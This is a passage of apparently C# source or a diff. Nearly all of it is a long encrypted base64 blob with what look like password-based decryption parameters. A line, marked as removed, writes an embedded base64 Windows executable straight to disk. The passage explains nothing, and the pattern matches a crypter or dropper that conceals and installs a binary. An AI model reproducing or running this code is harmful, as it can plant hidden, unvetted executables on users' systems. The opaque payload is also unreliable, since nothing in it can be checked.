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", "Ks49TzPd75ZwRn", "y6T7Abt5C2LaEp34RdKn98", "SHA1", 2, "r6M4Pef3J9LyBs72", 128)); - File.WriteAllBytes(path, Convert.FromBase64String("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEFAETpzU0AAAAAAAAAAOAADwMLAQI4AAwAAAAUAAAAAgAAEBEAAAAQAAAAIAAAAABAAAAQAAAAAgAABAAAAAEAAAAEAAAAAAAAAABgAAAABAAAQIgAAAIAAAAAACAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAABQAAAcAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAADAsAAAAQAAAADAAAAAQAAAAAAAAAAAAAAAAAAGAAUGAuZGF0YQAAABAAAAAAIAAAAAIAAAAQAAAAAAAAAAAAAAAAAABAADDALnJkYXRhAADAAQAAADAAAAACAAAAEgAAAAAAAAAAAAAAAAAAQABgQC5ic3MAAAAAYAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAQMAuaWRhdGEAABwDAAAAUAAAAAQAAAAUAAAAAAAAAAAAAAAAAABAADDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWJ5YPsCKEUUUAAyf/gZpBVieWD7AihCFFAAMn/4GaQVYnlU4PsNMcEJFARQADo7QIAAIPsBOgFAwAA6CAIAACNRfDHRfAAAAAAiUQkEKEAIEAAx0QkBARAQADHBCQAQEAAiUQkDI1F9IlEJAjo2gkAAKEIQEAAhcB1SujUCQAAixUEIEAAiRDocwQAAIPk8OibBgAA6MIJAACLAIlEJAihBEBAAIlEJAShAEBAAIkEJOiaBgAAicPopwkAAIkcJOhjAgAAix0EUUAAowQgQACJRCQEi0MQiQQk6I0JAAChCEBAAIlEJASLQzCJBCToeQkAAKEIQEAAiUQkBItDUIkEJOhlCQAA6W////+NdCYAVYnlg+wYxwQkAgAA